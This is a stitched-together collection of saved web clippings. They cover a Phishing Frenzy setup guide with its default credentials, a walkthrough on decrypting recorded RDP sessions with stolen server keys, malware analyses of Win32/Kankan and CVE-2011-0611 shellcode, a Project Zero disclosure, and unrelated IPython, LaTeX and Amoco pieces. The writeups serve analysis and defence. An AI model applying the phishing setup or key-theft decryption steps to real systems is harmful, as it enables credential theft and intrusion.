    # chmod a+rw /var/www/phishing-frenzy/public/templates/
    # chmod o+rw phishing-frenzy/public/uploads/
    
[/code]

Edit /etc/sudoers to allow Phishing Frenzy to restart apache and manage the
virtual hosts. This way Phishing Frenzy can run multiple phishing websites on
one webserver.

[code]

    www-data ALL=(ALL) NOPASSWD: /etc/init.d/apache2 reload
    
[/code]

###  Default Login

Phishing Frenzy is configured with a default login of:

[code]

    username: admin
    password: Funt1me!
    
[/code]

###  Production mode

Now that we have our rails application up and running in development mode, we
can switch over to production mode to increase performance among and increase
security \(not spewing errors everywhere when id is not found or 404\).

You may be required to create the production.log file and chmod it so the
rails application can be started. You'll usually receive some message in the
terminal that states this needs to be done.

[code]

    $ sudo chmod 0666 /var/www/phishing-frenzy/log/production.log
    
[/code]

Using our rails helper 'rake' we can precompile all of our assets which is
required to enable production mode. We can also prefix the command with the
environmental variable RAILS\_ENV and set it to production. This is sometimes
required to render all assets in production mode.

[code]

    # RAILS_ENV=production rake assets:precompile
    
[/code]

Now we must migrate and seed the data for our production database. If you have
not created a seperate production account within mysql you need to do that
now.

[code]

    mysql> create database pf_prod;
    mysql> grant all privileges on pf_prod.* to 'pf_prod'@'localhost' identified by 'password';
    
[/code]

Rake will assist with creating the database schema and seeding the database

[code]

    # RAILS_ENV=production rake db:migrate
    
    # RAILS_ENV=production rake db:seed
    
[/code]

Now we must tell Apache to use production mode for our rails application by
modifying /etc/apache2/pf.conf and changing the line of:

[code]

    RailsEnv development
    
[/code]

[code]

    RailsEnv production
    
[/code]

So your configuration file will look something like this:

[code]

    <VirtualHost *:80>
        ServerName phishingfrenzy.com
        # !!! Be sure to point DocumentRoot to 'public'!
        DocumentRoot /var/www/phishing-frenzy/public
        RailsEnv production
        <Directory /var/www/phishing-frenzy/public>
            # This relaxes Apache security settings.
            AllowOverride all
            # MultiViews must be turned off.
            Options -MultiViews
        </Directory>
    </VirtualHost>
    
[/code]

Enjoy Phishing Frenzy and please submit all bugs.

###  Troubleshooting

If you receive an error im the browser such as "rails no such file
tmp/cache/assets/\*".

Try the following:

[code]

    # rake tmp:pids:clear
    # rake tmp:sessions:clear
    # rake tmp:sockets:clear
    # rake tmp:cache:clear
    
[/code]

If you receive an error in production mode the errors will not be displayed in
the web browser \(this is intended for security\). If you need to diagnose the
problem, tail the production.log file located in 'approot/log/production.log'

Check out the wiki on github for additional resources and install guides.

###  Resources

# silviocesare/Privileged-Programs - GitHub

**Created:**| _1/5/2011 1:11:26 PM_  
---|---  
**Updated:**| _1/5/2011 1:11:40 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

  
  

# Retrospective decryption of SSL-encrypted RDP sessions | Portcullis Labs
**Created:**| _3/13/2014 9:53:39 PM_  
---|---  
**Updated:**| _3/13/2014 9:53:39 PM_  
**Author:**| __  
**Tags:**| _windows ssl_  
  

# Retrospective decryption of SSL-encrypted RDP sessions

Published 13/03/2014 | By MRL
This post describes how network eavesdroppers might record encrypted RDP
sessions and at some later time \(after a server compromise\) be able to
decrypt them. This could expose any data sent over the RDP connection
including keystrokes, usernames and passwords.

Put in more technical language: This post is about Perfect Forward Secrecy,
how SSL connections often lack this desirable security property, that RDP uses
SSL and therefore could also be vulnerable to retrospective decryption.

## Recording encrypted RDP connections with Wireshark

I simply started recorded all traffic on my ethernet interface, then connected
to an RDP server using mstsc and entered a password. I stopped the capture
straight after entering a password.

## How to tell if your RDP session is vulnerable

If you first “Analyze | Follow TCP Stream” for the TCP port 3389 traffic, then “Analyze | Decode As… | SSL”, Wireshark will show you the SSL Server Hello message. Check if it’s an RSA-based cipher suite. If it is, this post applies to your RDP session and will show you how to decrypt it.
<img src='img/Temp2_6837.jpg' width='300' height='116' alt='rsa' />

Wireshark trace showing SSL Server Hello

Note that I’ve only tried this for plain SSL-based RDP connection – as opposed
to CredSSP \(SSL+NLA\) connections, so YMMV.

On with the decryption…

## Extracting private SSL keys for service certificates

Following a compromise of a server, an attacker with administrator level
privileges could simply extract the private keys used for server
authentication from the certificate store.

The geocerts site provides as good a walkthrough of how to do this as any
other. The certificate used by the Terminal Server are in the “Personal” or
“Remote Desktop” certificate store for the “Computer Account”. Simply use
MMC’s “Certificates” plugin to export the private key for the SSL certificate.
I exported in .pfx format, which requires you to set a password.

I’m using Windows 2003 Server for this demo. I’m aware that extracting the
required certificates from later versions of Windows is harder. This is left
as an exercise for the reader. <img src='img/Temp2_6838.jpg' alt=':-)' />

## Converting from .pfc to .pem

In order to decrypt the SSL traffic we’ll use Wireshark which requires the
private key to be in PEM format \(.cer here\). Simply convert using this
OpenSSL one-liner:

?

`$ openssl pkcs12 -``in` `server-cert.pfx -out server-cert.cer -nodes`  
---  
## Decrypting traffic with Wireshark

Although Wireshark is slightly awkward to use for the decryption of SSL
traffic, it worked first time for me using this tutorial.

I specified the RSA key list as:

?

`192.168.2.96,3389,rdp,/tmp/server-cert.cer`  
---  
It was then possible to see all the cleartext traffic in Wireshark. In the
“Follow TCP Stream” dialogue, I selected hexdump and scrolled down quite a
long way. I was looking for a lot of short messages that corresponded to the
keystrokes of the password I entered.

<img src='img/Temp2_6840.jpg' alt='keystrokes' />

Hexdump View In Wireshark Showing Traffic Corresponding To Keystrokes

Shown in red are the messages from the RDP client. We’ll inspect each of the
4-byte message starting 44 04 00. These correspond to keys being pressed down
– as opposed to 44 04 01 which are keys being released.

The first message of interest is:

?

`44 04 00 2a`  
---  
Then \(omitting a few that aren’t interesting\):

?

`44 04 00 19``44 04 01 2a``44 04 00 1e``44 04 00 1f``44 04 00 1f``44 04 00
11``44 04 00 18``44 04 00 13``44 04 00 20``44 04 00 02`  
---  
In each case the last of the 4 bytes in the key scan code. If we look up each
in turn we find:

?

`44 04 00 2a is Left-Shift-Down``44 04 00 19 is P``44 04 01 2a is Left-Shift-
Up``44 04 00 1e is A``44 04 00 1f is S``44 04 00 1f is S``44 04 00 11 is W``44
04 00 18 is O``44 04 00 13 is R``44 04 00 20 is D``44 04 00 02 is 1`  
---  
Making the password Password1 when we take account of the position of the
SHIFT key.

## Conclusions

The ability for an attacker to retrospectively decrypt SSL traffic can be
undesirable in some \(fairly unlikely\) circumstances. This is not an unusual
or isolated example. A great many HTTPS websites are prone to the same issue.

This is not a vulnerability in the traditional sense. It rather raises the
impact any vulnerability that allows an attacker to steal the private SSL key
– at which point all security claims are naturally null and void anyway.

Actually, it’s interesting to review the lack of perfect forward secrecy
against Microsoft’s definition of a security vulnerability. It does not seem
to fit the definition. If lack of forward secrecy does indeed present a
problem, the problem results ”from adhering to imperfect but widely accepted
standards”.

Disabling support for RSA as the Key Exchange Algorithm is the usual remedy
for this SSL issue. However, I haven’t been able to find a working solution on
Windows 2003. I did experiment with setting this registry key:

?

`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms\PKCS\Enabled
= 0 (don't ``do` `this)`  
---  
after reading KB245030. However, I only succeeded in preventing RDP
connections entirely\!

### Request to be added to the Portcullis Labs newsletter

We will email you whenever a new tool, or post is added to the site.

Your Name \(required\)

Your Email \(required\)

<img src='img/Temp2_6839.jpg' alt='Sending ...' />

# Embedding IPython in GUI apps is trivial « IPython0 blog

**Created:**| _1/15/2010 1:55:03 PM_  
---|---  
**Updated:**| _1/15/2010 1:55:12 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

## Embedding IPython in GUI apps is trivial

By vivainio

Here is a little known secret: IPython can be trivially embedded to GUI apps
with event loops. This is verified to work with Tk and Qt4, at least.

What you need to do is this:

[code]

    def embed_ipython(w):
        from IPython.Shell import IPShellEmbed
        ipshell = IPShellEmbed(user_ns = dict(w = w))
        ipshell()
[/code]

Here ‘w’ is a central object of some kind that you want to expose to IPython
\(to manipulate, test various methods, etc\).

My GUI app initialization is like this:

[code]

    if __name__ == "__main__":
        app = QApplication(sys.argv)
        window = Window()
        window.show()
        embed_ipython(window)
        sys.exit(app.exec_())
[/code]

What may be nonobvious here is that embed\_ipython\(\) call never returns.
There is “secret sauce” in at least Qt4 and Tk that allows the GUI event loop
to proceed while IPython read-eval-print loop is being handled \(the same
sauce that allows you to operate GUIs in standard interactive python prompt\).
One would intuitively guess that surely the REPL should be running in a
separate thread, but this is not the case. While the UI event loop \(or
IPython\) is doing something time-consuming, the other party will be blocked
for that time – but there is the huge benefit that everything occurs in the
same thread, that of the GUI event loop.

  

# Win32/KanKan - Chinese drama

**Created:**| _10/11/2013 8:37:28 PM_  
---|---  
**Updated:**| _10/11/2013 8:37:28 PM_  
**Author:**| __  
**Tags:**| _windows Malware-analysis_  
  

# **W** in32/KanKan – Chinese drama****

By Pierre-Marc Bureau  posted 11 Oct 2013 at 03:36PM

In this blog post, we will describe a piece of software – detected by ESET
products as Win32/Kankan – that recently attracted our attention because:

  * It registers an Office plugin with no Office functionalities, which serves solely as a way to obtain persistence on the system,
  * It silently installs mobile applications to Android phones connected to the computer via USB debugging,
  * It has been signed by a well-known Chinese company called Xunlei Networking Technologies, which is particularly noted for developing the most widely-used torrent client in the world**.**

We are going to first introduce the context around this program, and explain
in particular why its discovery shocked many Chinese users, then we will
provide an in-depth analysis of its functionalities and finally we will
discuss the evidence that Xunlei Networking Technologies is implicated**.**

# Context****

The story related in this article started last June when several complaints
appeared on various Chinese forums about a suspicious program signed by the
Chinese company Xunlei Networking Technologies**.** The news then spread
rapidly and ended up in the headlines of many Chinese websites**.**

To understand such media interest, we first have to set the context, which is
very likely unknown to most of our non-Chinese readers**.** Xunlei Networking
Technologies’s main activity is the development of Xunlei, a piece of software
whose purpose is to accelerate the download of various types of files
\(videos, pdfs, executables,…\) – pretty much like Orbit Downloader  –, and
which is extremely popular in China**.**

To explain this popularity, it is worth mentioning how the tool works**.**
Roughly summarized, Xunlei maintains a list of locations for each known file
and whenever a user starts a download using its browser or torrent client, it
chooses the best possible locations to maximize the download speed**.** To
implement this process, Xunlei Networking Technologies has developed a complex
software ecosystem, including a search engine for the shared files, a multi-
protocol torrent client, and even a custom peer-to-peer protocol**.** For
interested readers, an extensive study of the Xunlei network has been written
by Dhungel et al**.** in 2012 and can be found here .

As previously mentioned, the program is extremely popular among Chinese
people**.** A study published in 2009 by TorrentFreak  even positioned Xunlei
as the most used torrent client in the world, with more than 100 million peer
IDs, while uTorrent peaks at 92 million peer IDs**.** On the other hand, the
tool is almost unused outside China, which is unsurprising since there is no
English translation of the official website, while the textual content of the
tool itself has been translated only by amateurs**.** We can thus speculate
that this China-only deployment is a deliberate strategy on the part of the
company**.**

# Analysis****

This background story explains the consternation among Chinese users when some
of them found a suspect piece of software on their computer signed by Xunlei
Networking Technologies**.** The certificate in question is shown below.

<img src='img/Temp2_9512.png' alt='Certif' />

When we describe the program, you’ll see why it was considered suspicious**.**

## Dropper****

The program comes as a Windows installer, usually named _INPEnhSetup.exe_ ,
and based on the Nullsoft Scriptable Install System **.** Simply put, this
means that the installer is an archive associated with an installation
script**.** In this case the installer begins by contacting the hard-coded
domain _kkyouxi.stat.kankan.com_ to report the initiation of the
installation**.** Then, it drops three different files onto the system:
_INPEn.dll_ , _INPEnhUD.exe_ and _INPEnhSvc.exe_**.** Afterwards, the library
_INPEn.dll_ is loaded into memory and its _DllRegisterServer_ function is
called**.** Finally, the installer re-contacts the domain
_kkyouxi.stat.kankan.com_ to report the completion of its execution**.**

## Office Plugin****

_INPEn.dll_ starts by installing a copy of itself, named _INPEnh.dll_ this
time, as a plugin for Word, Excel and PowerPoint named _InputEnhance_**.** In
order to do this, it creates Windows registry keys that will make Office
applications use the _INPEnh.dll_ library as a plugin \(more details can be
found here \)**.** Some of these registry keys can be seen in the graphic
below**.**

<img src='img/Temp2_9513.png' alt='image1' />

We can observe that the _LoadBehavior_ key is set to 3, which means the plugin
will be loaded at each application startup**.** Interestingly, this is the
only way this piece of software gains persistence on the system: every time
Word, Excel or PowerPoint is launched, the library is loaded in memory as a
plugin**.** Nevertheless, its presence is invisible to the user**.** More than
that, it silently executes the following steps:

  * Fetch the file _conf.kklm**.** n0808.com/tools.ini_, of which an extract can be seen below**.**

<img src='img/Temp2_9511.png' alt='numbers' />

This file contains various parameters, for example a base64 encoded list of
security analysis tools and an URL describing a _StatServer_ , which is again
_kkyouxi.stat.kankan.com_ at the time of writing**.**

  * Check whether one of the previously mentioned binary analysis tools is running: if so the Office plugin promptly stops executing**.** The current decoded list is shown below.  
_taskmgr.exe|procexp.exe|procmon.exe|devenv.exe|windbg.exe|filemon.exe|_  
_ollyice.exe|ollydbg.exe|processspy.exe|spyxx.exe|cv.exe|wireshark.exe_

  * It is worth mentioning that this list only contains analysis tools – and no security products – like the Windows task manager, OllyDebugger, and even a Wi-Fi network management tool**.** Hence the program is intended to avoid security analyst machines**.**
  * Check if an Internet connection is active by contacting some common Chinese domain names, such as baidu.com and qq.com**.** When there is no Internet connection, it goes into a code loop that regularly checks whether a connection has been established**.**
  * If all the previous checks are passed, the plugin sends various information to the _StatServer_ , notably the Windows version and the application name \(_WINWORD.exe_ for example\), and then executes _INPEnhUD.exe_**.**

Finally, it enters a task management loop, which we will describe later, since
these tasks are furnished by another piece of the puzzle**.**

## Updater****

So execution is continued by _INPEnhUD.exe_ , which can be tersely described
as an updater**.** In particular, it fetches the hard coded URL
_update.kklm**.** n0808.com/officeaddinupdate.xml_, of which the current state
can be seen below**.**

<img src='img/Temp2_9514.png' alt='image2' />

This XML file thus contains a list of file URLs with MD5 hashes**.** The
updater then downloads each file, verifies the hash and, if it corresponds,
executes it**.**

The attentive reader should have noticed that the URL in the previous image
points to a program named _Uninstall.exe_ , which is something we will explain
later**.** Finally, the updater executes the third dropped file,
_INPEnhSvc.exe_**.**

## Service****

_INPEnhSvc.exe_ , which will be called ‘the service’ in the following text, is
the core of this three-program architecture**.** After performing the same
test for analysis tools as we saw in the Office plugin, the service fetches an
XML configuration file that can contain seven commands, each of them with a
number of parameters**.** These commands can be divided into two groups:

  * local commands: _scanreg, scandesktop, scanfavorites_
  * outsourced commands:_installpcapp, installphoneapp, setdesktopshortcut, addfavorites, setiestartpage_

As the name implies, the local commands are implemented in the service itself:
_scanreg_ looks for a specific registry key and reports its presence or
absence to the StatServer, whereas _scandesktop_ and _scanfavorites_ search
for shortcut files \(.lnk extension\) and network link files \(.url\)
respectively in the Desktop and Favorites folders**.**

On the other hand, when an outsourced command is received the program
communicates with the Office plugin, which is the one responsible for
executing it**.** This communication passes through a configuration file named
tasklist.ini that contains three different sections: _Doing_ , _Done_ and
_DoneByDate_**.** Also, both binaries contain a list of unique identifiers
\(GUIDs\), each of them being associated with a task**.** More precisely, the
communication process is as follows:

  * When it receives an outsourced command, the service simply writes the associated GUID in the section _Doing_ with its parameters \(URLs, …\)**.**

  * During its task management loop the Office plugin reads the GUID, then checks that this GUID is not present in sections _Done_ and _DoneByDate_ of the file _tasklist.ini_**.** If the GUID is only in section Doing, it executes the associated program logic**.**

  * Once finished, the Office plugin writes the GUID in the section Done**.** Moreover, the GUIDs for the commands _installpcapp_ and _installphoneapp_ are also written in the section _DoneByDate_**.** This is probably done in order to re-execute regularly these commands**.**

The whole architecture is summarized below, with blue rectangles representing
processes, and yellow ones representing files**.**

<img src='img/Temp2_9516.png' alt='kankanIPdrawing' />

The names of the outsourced commands are self-explanatory and no more details
are necessary, except of course for the surprising installphoneapp
command**.**

## Phone Applications****

As the name implies, the command _installphoneapp_ makes the Office plugin
download an Android application \(an APK file\), which is then installed on
any Android devices connected to the computer**.** In order to do so, the
service first downloads the Android Debug Bridge  \(ADB\) binary – which is
part of the Android SDK – plus the libraries this program needs**.** Next, the
Office plugin downloads the APK files whose URLs were provided in the XML
commands file**.** Finally, it lists the Android devices connected to the
computer with the ADB command _devices_ , and then installs on each of them
the APKs with the command _install_**.**

Nevertheless, this installation will only work if the Android device has USB
debugging enabled, which can be done in the phone settings menu**.**
Officially this feature is intended for development purposes only, but it is
also commonly needed by certain types of applications \(like screenshots
app\), and by most techniques to root Android phones or install custom ROMs.
It is worth noticing that with this installation method the user will not see
the usual Android permission screen on his phone**.** In other words, the
applications will be silently installed on any connected Android phone with
USB debugging enabled**.**

During our investigation, the Android applications were no longer being
downloaded, for reasons that will become clear at the end of this post, but we
were able to find four of them on some Chinese security forums. The main
screen of these applications can be seen below**.**

<img src='img/Temp2_9515.png' alt='APKs' />

According to our analysis, all these applications provide real features to the
user**.** Three of them are Android markets, which allow the user to download
various applications onto his phone**.** We were not able to find any clearly
malicious features in these applications**.** It is still worth noticing,
though, that their code is heavily obfuscated**.**

The last one, still available on Google Play  at the time of writing, allows
the user to make phone calls at so-called advantageous rates**.**
Nevertheless, it exhibits some suspicious features, like regular contacts with
URLs known to distribute adware for Android phones**.** This application is
detected by ESET as a variant of Android/SMSreg**.** BT, which is a
Potentially Unwanted Application.

Overall, the motivation behind the installation of these particular mobile
applications remains unknown**.**

# Epilogue: Xunlei Networking Technologies’ confession****

The final question we have to address is the role of Xunlei Networking
Technologies**.** Not only were the binaries signed with their certificate,
but the domain _kankan.com_ , whose subdomain is used as _StatServer_ ,
corresponds to the company’s video-on-demand service**.** So there is little
doubt about the company’s implication in the production of this piece of
software**.**

In last August, in reaction to the users’ complaints, the company officially
admitted during a press conference that some of their employees have used the
company resources to create and distribute this program**.** The company’s
explanation is that it was made by one of their subdivisions, without the
company’s agreement**.** They claimed to have fired the people responsible,
and apologized publicly**.**

This is in accordance with the fact that an uninstaller – signed by the very
same company – has been provided since the beginning of August**.** In
particular, any infected computer will download it, thanks to the updater**.**
According to our analysis, the uninstallation works correctly, and removes all
the program’s artifacts**.** Moreover, all the domain names still up are just
doing the minimal work necessary in order to allow the uninstaller to
execute**.** The end of Kankan’s distribution can also be verified with the
daily number of detections by ESET during August and September, which is shown
below**.**

<img src='img/Temp2_9509.png' alt='DetectionStat' />

We can observe that the software propagation has strongly decreased after a
peak around the 8th August \(the uninstaller has been signed the 9th of
August\)**.** Finally, the geographical distribution of the infections for the
last month is presented below, thanks to the ESET VirusRadar system **.**

<img src='img/Temp2_9510.png' alt='geo' />

Without surprise, China has been the only country significantly touched by
this piece of software**.**

# Conclusion****

The use of a fake Office plugin to gain persistence, the ability to silently
install Android applications, and the backdoor functionalities, confirm the
validity of the concerns of Chinese users and explains why ESET detects this
program as malicious, under the name Win32/Kankan**.**

There are still some open questions, like the original infection vector and
the exact reason the Android applications were installed**.** Finally, the
degree to which Xunlei Networking Technologies were implicated is hard to tell
from the outside**.** On a side note it is surprising to remark that, as far
as we know, not one non-Chinese website has ever mentioned this story**.**

# Acknowledgments****

Thanks to Jean-Ian Boutin, Sieng Chye Oh and Alexis Dorais-Joncas for their
help while analyzing this malware**.**

# Analyzed Files**** :

**Dropper**

A059D6851013523CDC052A03A91D71D3246A14C2  
DB59E003D9F5EBF84EB895B2EE7832AF94D0C93E  
722773145CB38249E96CC6A7F0FBC7955ACC5D56

**Office plugin**

688B5B319F0E2F5DCD2EDE7BBE39FAE29B5ED83F  
B221B71CF14E14FEBC4636DE624A2C6CEE3CE725  
089A3BB51C5D5218DF47831489F1D8227E73F4B3

**Updater**

1EFD454130A658DB83A171A8DCB944CAEADC8D8F  
4F29B2A9778C02F6FDB63F9041DC4D2F4668B484

**Service**

1C223DA59F4BE7907A2FB00FF756083342166A5B  
2D00B2DF8B1CEE7411B2D7B8201B382E2896708C

**Android Applications**

A439B1EA45769EC2FA0EFC4098EC263662EF40AE \(market\)  
693E15A00B4934EE21A6423DE62C4A01947CE06A \(market\)  
0A1813FB3D1DD8B871D0575B15124543FF2313E1 \(market\)  
C6013DE01EC260DC5584FAA2A35EF0580B3BDC89 \(phone calls\)

Author Pierre-Marc Bureau , We Live Security

****

# Analysis of the CVE-2011-0611 Adobe Flash Player vulnerability exploitation
- raul58henson's blog

**Created:**| _5/19/2011 6:54:26 AM_  
---|---  
**Updated:**| _5/19/2011 6:54:37 AM_  
**Author:**| __  
**Tags:**| _Flash analysis vulnerability_  
  

##

### Analysis of the CVE-2011-0611 Adobe Flash Player vulnerability
exploitation

About a month ago, we blogged about an Adobe Flash Player vulnerability
\(CVE-2011-0609\) that was actively exploited in the wild. That exploit was
hidden inside a Microsoft Excel document. Over the weekend, a new Adobe Flash
Player 0-day \(CVE-2011-0611\) was reported by Adobe in a recent advisory
\(APSA11-02\).

It all started with spam emails enticing users to open its attachment,
typically a Microsoft Word document \(or a zip file of a Microsoft Word
document\), which contained the malicious Flash exploit inside. Most of the
files we have captured with our signature are named:

  * _Fukushima .doc_
  * _evaluation about Fukushima Nuclear Accident.zip_
  * _????????????-??????~?? .doc_
  * _????.doc_

Inside the .doc file a malformed Adobe Flash file is embedded. Once a user
opens the document, Flash Player will load the malicious file and exploitation
will occur. Unlike the previous vulnerability, a bug in the ActionScript
Virtual Machine version 1 is now used in the exploitation process. Another
difference is that this is not a result of fuzzing clean files. We won’t
disclose any detail on what triggers the vulnerability, for security reasons,
obviously.

In order to exploit this vulnerability the attackers packaged the AVM1 code
inside an AVM2 based Flash file. The latter is embedded inside the Word
document and assigned with setting up the exploitation environment.

Initially the AVM2 code constructs a heap-spray buffer made of a NOP-sled
\(image below\):

<img src='img/Temp2_627.png' />

_Image 1 – NOP-sled_

The AVM2 code constructs a Win32 shellcode\(constructed in highlighted
ByteArray “s”\):

<img src='img/Temp2_624.png' />  
  
_Image 2 – shellcode_

It then loads the attack code inside the Flash Player. The AVM1 code that
triggers this vulnerability is loaded as a separate SWF file, converted from a
hex-encoded embedded string and executed as in the screen dump below:

<img src='img/Temp2_625.png' />

_Image 3 – CVE-2011-0611 attack code_

**Shellcode details**

The shellcode is injected starting at address 0x11111111 and is a fairly
standard one.

Its task is to launch the payload while trying to hide the signs of an
infection. It does that by dropping a clean Word document which will replace
the original, malicious one.

Let’s see, in detail, what the shellcode does once it gets executed:

  * Resolves needed APIS’s : 
    * LoadLibraryA
    * GetFileSize
    * GetTempPathA
    * TerminateProcess
    * CreateFileA
    * WideCharToMultiByte
    * SetFilePointer
    * ReadFile
    * WriteFile
    * WinExec
    * CloseHandle
    * GetCommandlineA
    * GetModuleFileNameA
    * CreateFileMappingA
    * MapViewOfFile
    * GetLogicalDriveStringsA
    * QueryDosDeviceA
    * ZwQueryVirtualMemory
  * Brute-forces its way to the Word document’s file handle by knowing that 
    * File size must be > 0x7000
    * It must contain the marker 0x7010 at offset 0x7000
  * Retrieves the file path of the Word document file using ZwQueryVirtualMemory and GetLogicalDriveStringsA
  * Decrypts a binary from the document, dumps it as %temp%\scvhost.exe \(SHA1 adbf24228f0544a90979a9816569e8c7415efbac - detected as Backdoor:Win32/Poison.M\) and finally executes it.

<img src='img/Temp2_623.png' />

_Image 4 – Win32 Shellcode fragment_

  * Decrypts an embedded doc file and saves it as ‘%temp%\AAAA’. This file is the clean Word document we mentioned earlier.
  * The freshly dumped doc file is then used to overwrite the initial Word document.
  * The new document is launched to hide symptoms of infection.
  * Using the utility “taskkill.exe”, it terminates all processes with the name ‘hwp.exe’.

The current WinWord \(Microsoft Word\) instance is terminated.

We currently detect the malicious Word document and the embedded attack Adobe
Flash file as Exploit:SWF/CVE-2011-0611.A. We urge you to read the advisory
from Adobe for mitigation details about this vulnerability.As always, we
advise you not to open emails from untrusted sources or emails that seem
suspicious to you, even if they apparently come from people you know.

_Marian Radu, Daniel Radu & Jaime Wong  
MMPC_

PS: We’d like to thank our colleague Bruce Dang for his contribution to this
blog post.

<img src='img/Temp2_626.png' width='1' height='1' />

# Vikram and Neha: Beautiful, professional resumes with LaTeX

**Created:**| _9/18/2011 8:00:21 AM_  
---|---  
**Updated:**| _9/18/2011 8:00:21 AM_  
**Author:**| __  
**Tags:**| __  
  

### Beautiful, professional resumes with LaTeX

I love LaTeX, but when it comes to resume writing, my skills at LaTeX fall
short. This means that I have to load up OpenOffice, and spend hours tuning
every single spacing and pagination problem.  
  
Enter Moderncv, a class file for professional looking resumes. If you use
LaTeX, it is the perfect document class for writing a resume.  
  
This is what my resume looks like:  

<img src='img/Temp2_8886.png' width='454' height='640' />

  

  
You can download the resume in PDF. This resume was generated from this LaTeX
source file.  
  
The moderncv class is straightforward: you fill in the details and it
generates a beautiful, professional resume for you. Once you fill in the
critical details, the page layout is handled for you. So if one section is too
big it is automatically shifted to the next page. You fill in the contents,
LaTeX handles the rest.  
  
Itching to give it a try? To get started, download the moderncv class from
CTAN. Either use my resume as an example, or look through the examples
directory for a file called 'template.tex'. On Ubuntu, you need the texlive
and texlive-latex-extra packages.  
  
On Ubuntu or Debian machines, you can download all the packages with:  

[code]

    $ sudo apt-get install texlive texlive-latex-extra 
[/code]

# Project Zero: Mac OS X and iPhone sandbox escapes

**Created:**| _7/31/2014 9:23:33 AM_  
---|---  
**Updated:**| _7/31/2014 9:23:33 AM_  
**Author:**| __  
**Tags:**| _Exploit kernel sandboxing_  
  

# Mac OS X and iPhone sandbox escapes

Posted by Chris Evans, Finder of None Of These

As part of our launch manifesto, we committed to openness and transparency,
including sharing full details of our research.

About a month ago, Apple released two securityadvisories which fixed some
Project Zero findings. Today, we’re releasing the technical details by making
some bugs public. Why now? Generally, we’ll always wait a little while after a
patch is available, to give users time to apply the patch.

We won’t be writing a blog post for every set of bugs we make public. The main
reason for this particular blog post is to highlight our process for making
bugs public. That said, there are some interesting bug details available as of
today\! To highlight a few:

  * These describe a heap corruptions in launchd. launchd is a service that sandboxed processes can talk to and it runs unsandboxed. Therefore memory corruptions in this process are an excellent sandbox escape. As you can see, this bug was discovered by code auditing.
  * This OS X bug fully demonstrates the ability to read arbitrary kernel memory from within the sandbox. As you can see, the proof of concept C code is attached for you to study.
  * This OS X bug covers a very interesting validation failure leading to an integer underflow, leading in turn to the kernel trying to read a kernel structure from a non-NULL userspace address. The kernel structure involved contains a function pointer so getting in-kernel code execution at a chosen address follows trivially. An annotated analysis of the faulty assembly instructions is included.
  * This OS X bug covers NULL pointer dereferences in the kernel—four in fact. It goes into detail about which circumstances result in sandbox escapes and which are “only” privilege escalations. Two of the bugs are quite neat because they call an attacker-specified offset from a good vtable base. Because this situation does not involve knowing any absolute kernel addresses, the bug could be used to both defeat kernel ASLR and then gain kernel code execution.

If you want a single URL to enumerate all of our publicly viewable bugs, click
here. Enjoy\! And thanks for following Project Zero.

# \[MS-SHLLINK\].pdf

**Created:**| _7/21/2010 2:08:30 PM_  
---|---  
**Updated:**| _7/21/2010 2:08:30 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/[MS-SHLLINK].pdf' />

# bdcht/amoco · GitHub

**Created:**| _5/9/2014 11:55:21 AM_  
---|---  
**Updated:**| _5/9/2014 11:55:21 AM_  
**Author:**| __  
**Tags:**| _analysis static_  
  

# bdcht/amoco · GitHub

README.rst

#  Amoco

Status:| Under Development  
---|---  
Location:| https://github.com/bdcht/amoco  
Version:| 2.3  
##  Description

Amoco is a python package dedicated to the \(static\) analysis of binaries.

It features:

  * a generic framework for decoding instructions, developed to reduce the time needed to implement support for new architectures. For example the decoder for most IA32 instructions \(general purpose\) fits in less than 800 lines of Python. The full SPARCv8 RISC decoder \(or the ARM THUMB-1 set as well\) fits in less than 350 lines. The ARMv8 instruction set decoder is less than 650 lines. See arch for details.
  * a **symbolic** algebra module which allows to describe the semantics of every instructions and compute a functional representation of instruction blocks. See cas for details.
  * a generic execution model wich provides an abstract memory model to deal with concrete or symbolic values transparently, and other system-dependent features. See system for details.
  * various classes implementing usual disassembly techniques like linear sweep, recursive traversal, or more elaborated techniques like path-predicate which relies on SAT/SMT solvers to proceed with discovering the control flow graph or even to implement techniques like DARE \(Directed Automated Random Exploration\). See main.py for details.
  * various generic "helpers" and arch-dependent pretty printers to allow custom look-and-feel configurations \(think AT&T vs. Intel syntax, absolute vs. relative offsets, decimal or hex immediates, etc\). See arch for details.

Amoco is still _work in progress_. See Todo for a list of features to be
merged from develop branch or to be more thoroughly implemented.

##  History

Development started in late 2006 with a proof-of-concept for symbolic
interpretation of x86 ELF programs. At that time it used a modified version of
minisat for simplifying symbolic expressions. In 2009, it was fully rewritten
with support for various other architectures \(`z80, armv7/thumb`\) and
executable formats \(`PE, Gameboy Cardridge`\). In 2013 the internal decoding
system was redesigned, and the minisat solver was replaced by z3. The `armv8`
and `sparc` architectures were added.

Despite being \(just\) yet another tool for analysing binaries, in 2014 a
dedicated 'release' branch was created with most of the above features to be
open-sourced.

Some components of Amoco are still in the process of being pushed to the
release branch or further developed. More precisely:

  * x86 fpu and sse decoder specs \(`arch/x86/spec_{fpu,sse2}.pỳ`\) are not implemented,
  * arm v7 semantics \(`arch/arm/v7/asm.py`\) is currently not merged,
  * arm SIMD, VFP, NEON, TrustZone, Jazelle instruction sets are not implemented,
  * z80 arch is currently not merged,
  * pretty printers based on pygments package are not merged,
  * interface to z3 solver \(and associated analysis\) is currently not merged,
  * backward and solver-based disassembling strategies are not merged yet.

Contributions to fulfill uncomplete/unimplemented parts are welcome.

##  Install

Amoco depends on the following python packages:

  * grandalf used for building CFG \(and eventually rendering it\)
  * crysp used by the generic intruction decoder \(`arch/core.py`\)
  * z3 \(not in current release\)
  * pygments \(not in current release\)

##  Quickstart

Below is a very simple example where basic blocks are built with linear sweep:

[code]

    >>> import amoco
    >>> p = amoco.system.loader.load_program('tests/samples/flow.elf')
    amoco.system.loader: INFO: Elf32 file detected
    amoco.system.loader: INFO: linux_x86 program created
    >>> p
    <amoco.system.linux_x86.ELF object at 0x8b23d4c>
    
[/code]

We are analysing file `flow.elf`. Since we don't know nothing about it we
start by using a high level loader which will try to detect its format and
target platform and provide some feedback info. Here the loader creates a
`linux_x86.ELF` object which shall represent the program task.

[code]

    >>> p.bin
    <amoco.system.elf.Elf32 object at 0xb721a48c>
    >>> print p.mmap
    <MemoryZone rel=None :
